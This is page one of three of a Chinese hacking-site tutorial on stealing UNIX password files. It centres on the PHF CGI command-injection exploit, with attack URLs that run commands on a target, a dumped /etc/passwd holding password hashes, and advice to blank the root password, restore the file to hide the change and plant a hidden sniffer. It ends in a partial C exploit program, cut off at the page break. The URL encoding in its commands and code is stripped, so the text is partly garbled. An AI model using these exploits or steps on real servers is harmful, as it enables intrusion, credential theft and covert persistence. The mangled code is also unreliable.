华域联盟 网络安防 从UNIX系统获取密码档(一)

从UNIX系统获取密码档(一)

目录:

PHF:WWW的PH查询

PHF查询攻击新方法

从新手处获取

获取shadow密码档

获取/etc/hosts档

本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法要求你拥有一个

有效帐号;但也有不需帐号也可访问系统的方法。在这里你还能知道完整的密码档与

shadow密码档的区别,并学习到如何读取shadow密码档。

--------------------------------

PHF:WWW的PH查询

如果在WWW的cgi-bin的目录下有一个名为phf的可执行(具有x权限)程序,那么你就

可以通过WWW或LINUX的文本浏览器lynx访问它。该功能允许你读取系统上的文件,如

/etc/passwd等,并保存在本地机上。

以下是我们所需要做的。如果httpd服务器是由root根用户运行的,通过使用phf,我

们可以成为该服务器的root用户;甚至修改服务器上某个用户的密码。

这里有一个perl脚本,它对使用上一章中的getdomain.pl脚本所得到的结果进行检测,

并检查运行服务器的用户。如果是root用户,它就记录其id;如果不是root用户,则会自动

从/etc目录下读取passwd档,并保存为domain.???.passwd文件。

我还会给出另一个脚本,它允许你从一个shell中运行一条命令。只要该系统有phf,

你就可以在shell中输入一命令行,通过管道命令传送到远程系统上执行。

OK。现在你该知道下一步是什么了?让我们来学习如何利用phf。

把你最喜爱的web浏览器或是UNIX系统中经常使用的lynx文本浏览器连接到网络上。

在浏览器窗口或屏幕出现后,键入g(译者注:即使用浏览器的“go”功能)。便会

出现以下内容(译者注:以lynx为例):

URL to open:

Arrow keys: Up and Down to move. Right to follow a link; Left to go back.

H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

在URL to open: 处输入:http://xxx.org/cgi-bin/phf/?Qalias=x id

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x id

Arrow keys: Up and Down to move. Right to follow a link; Left to go back.

H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

返回如下内容:

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

以上内容表明:运行服务器的用户是nobody。因此,我们便成为了该服务器的nobody

用户。虽然我们还不是root用户,但必将是。 😉

命令行:

http://afp.org/cgi-bin/phf/?Qalias=x id

id是一个命令,它要求服务器返回用户的id。有时我们需要给出全路径,比如:http://afp.org/cgi-bin/phf/?Qalias=x /usr/bin/id

注意 后面是命令行内容。如果你想输入一个空格符,就要用 代替,以下是经常

要用到的几个命令行:(以 开始)

显示passwd密码档:

/bin/cat /etc/passwd

获取/etc目录下所有以pass开始的详细文件列表:

ls -al /etc/pass*

如果你有访问http的root用户权限,备份passwd文件为passwd.my文件:

cp /etc/passwd /etc/passwd.my

更改root用户密码(服务器往往会允许你这样做 😉 ):

passwd root

(以上命令可以让你在以root用户登录时不需输入密码,(译者注:也就是更改root用户

的密码为空,然后再telnet该主机。)别忘了将passwd.my恢复为passwd(译者注:恢复

root用户的旧密码),删除备份文件,然后你就可以运行一个合适的shell,并将其隐藏起来

作为嗅探器(sniffer)来获取所需的密码了。)

只要你知道如何在UNIX中输入命令,同时没有忘记使用 来代替空格符,你就不会遇

到什么困难!

OK。现在让我们来获取本例中的passwd档吧。;-)

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x cat /etc/passwd

我们将会看到:

QUERY RESULTS

/usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash

bin:*:1:1:bin:/bin:

daemon:*:2:2:daemon:/sbin:

adm:*:3:4:adm:/var/adm:

lp:*:4:7:lp:/var/spool/lpd:

sync:*:5:0:sync:/sbin:/bin/sync

shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown

halt:*:7:0:halt:/sbin:/sbin/halt

mail:*:8:12:mail:/var/spool/mail:

news:*:9:13:news:/usr/lib/news:

uucp:*:10:14:uucp:/var/spool/uucppublic:

operator:*:11:0:operator:/root:/bin/bash

games:*:12:100:games:/usr/games:

man:*:13:15:man:/usr/man:

postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash

nobody:*:-2:100:nobody:/dev/null:

ftp:*:404:1::/home/ftp:/bin/bash

guest:*:405:100:guest:/dev/null:/dev/null

bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash

web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

(一个小小的密码档 😉 )

如果你希望保存这个文件,只要在文本浏览器中选择“打印”和“保存

为文件”即可。

现在让我们了解一下paaswd档的结构:

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

1 :2 :3 :4 :5 :6 :7

1=用户名 2=被加密的密码 3=用户标识 4=用户组id 5=真实名字

6=用户根目录 7=shell

好。假设你不想使用WWW浏览器,编译并执行以下脚本也可以达到目的:

phf.c

------ cut here----

/* Some small changes for efficiency by snocrash. */

/*

* cgi-bin phf exploit by loxsmith [xf]
*

* I wrote this in C because not every system is going to have lynx. Also,

* this saves the time it usually takes to remember the syntatical format

* of the exploit. Because of the host lookup mess, this will take

* approximately 12 seconds to execute with average network load. Be patient.

*

*/

#include

#include

#include

#include

#include

#include

#include

int main(argc, argv)

int argc;

char **argv;

{

int i = 0, s, port, bytes = 128;

char exploit[0xff], buffer[128], hostname[256], *command, j[2];

struct sockaddr_in sin;

struct hostent *he;

if (argc != 3 && argc != 4) {

fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);

exit(1);

}

command = (char *)malloc(strlen(argv[1]) * 2);

while (argv[1][i] != '\0') {

if (argv[1][i] == 32) strcat(command, " "); else {

sprintf(j, "%c", argv[1][i]);

strcat(command, j);

}

i;

}

strcpy(hostname, argv[2]);

if (argc == 4) port = atoi(argv[3]); else port = 80;

if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {

he = gethostbyname(hostname);

if (he) {

sin.sin_family = he->h_addrtype;

memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],

he->h_length);

} else {

fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);

exit(1);

}

}

sin.sin_family = AF_INET;

sin.sin_port = htons((u_short) port);

if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {

fprintf(stderr, "%s: could not get socket\n", argv[0]);

exit(1);

}

if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {

close(s);

fprintf(stderr, "%s: could not establish connection\n", argv[0]);

exit(1);

}

sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X% %s\n", command);

free(command);

write(s, exploit, strlen(exploit));


上一页
1
2
3
下一页
阅读全文

本文由 华域联盟 原创撰写:华域联盟 » 从UNIX系统获取密码档(一)

转载请保留出处和原文链接:https://www.cnhackhy.com/127913.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

WEBSHELL提升权限又一招(Mysql漏洞)

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部